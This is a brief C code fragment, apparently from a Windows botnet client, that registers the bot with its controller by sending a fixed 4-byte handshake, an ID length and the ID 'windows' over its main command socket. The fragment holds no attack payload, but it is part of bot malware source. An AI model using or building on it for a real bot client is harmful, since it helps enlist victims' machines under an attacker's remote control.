// code char *chIdBuf = NULL; //ZeroMemory(id_buf, sizeof(id_buf)); // this is a windows bot // so the id buf is "windows" chIdBuf = (char *)"windows"; UINT8 uintIdLen = strlen(chIdBuf); // length of the ID buffer // sends 4 bytes to connect send(dwMainCommSock, "\x00\x00\x00\x01", 4, NULL); send(dwMainCommSock, (const char *)&uintIdLen, sizeof(uintIdLen), NULL); if (uintIdLen > 0) { // if the length of ID is greater than 0 // sends the ID buffer send(dwMainCommSock, chIdBuf, uintIdLen, NULL); } // end code